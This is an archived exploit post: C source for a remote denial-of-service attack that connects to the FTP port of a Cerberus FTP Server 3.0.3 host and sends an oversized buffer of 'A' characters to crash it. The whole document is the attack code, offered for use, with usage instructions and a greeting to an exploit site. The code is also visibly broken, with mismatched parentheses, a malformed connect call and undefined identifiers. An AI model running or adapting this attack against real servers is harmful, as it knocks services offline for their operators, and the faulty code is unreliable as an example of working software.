Home / os / win10

cerberus-dos.txt

Posted on 15 September 2009

/* vulnerab : Remote Denial of Service Command vulnerab : User Software : Cerberus FTP Server Versian : 3.0.3 website software : http://www.cerberusftp.com greetz : *Str0ke* Milw0rm is The best in world */ #include <stdio.h> #include <string.h> #include <winsock2.h> #include <stdlib.h> #include <conio.h> #pragma comment(lib, "ws2_32.lib") #define size 520 int main(int argc, char *argv[]) { int cer1,cer2,cer3; char buffer[size]; if (argc < 2) { printf(" Cerberus FTP Server V 3.0.3 Remote Denial Of Service Exploit "); printf(" u : file ip "); printf(" EX : Cerberus.exe 127.0.0.1 "); exit(-1); } memset(buffer,"A",520); WSADATA wsaData; if(WSAStartup (MAKEWORD(2,1),&wsaData) != 0) { printf("WSAStartup is failed "); exit(-1); } struct hostent * remote; remote = gethostbyname(argv[1]); if(! remote) { cer1 = inet_addr(argv[1]); } if (!remote) && (cer1 == INADDR_NONE)) { printf("Unable to resolve %s ",argv[1]); exit(-1); } cer2 = socket(AF_INET,SOCKET_STREAM,IPPROTO_TCP); if(cer2 == INVALID_SOCKET) { printf(" Error On Create Socket "); exit(-1); } struct sockaddr_in ftp; if (remote != NULL) memcpy(&(ftp.sin_addr),remote->h_addr,remote->h_length); else ftp.sin_addr.s_addr = addr; if (remote) ftp.sin_family = remote->h_addrtype; else ftp.sin_family = AF_INET; ftp.sin_port=htons(21); printf(" Denial of service FTP server %s ",argv[1]); printf(" Sending Packet "); Sleep(1000); printf(" packet size = %d byte " , sizeof(buffer)); printf(" Please Wait ... "); cer3 = connect (cer2, (struct Sockaddr *), &ftp, sizeof (struct Socketaddr_in)); if(cer3 == 0) { printf(" again please wait... "); Sleep(500); printf(" c0nnect3d "); send(cer2 , buffer , sizeof(buffer) , 0); printf(" Cerberus FTP Server Have been Crashed ! "); } else { printf(" Cerberus FTP Server not listen in port "); } return 0; }

 

TOP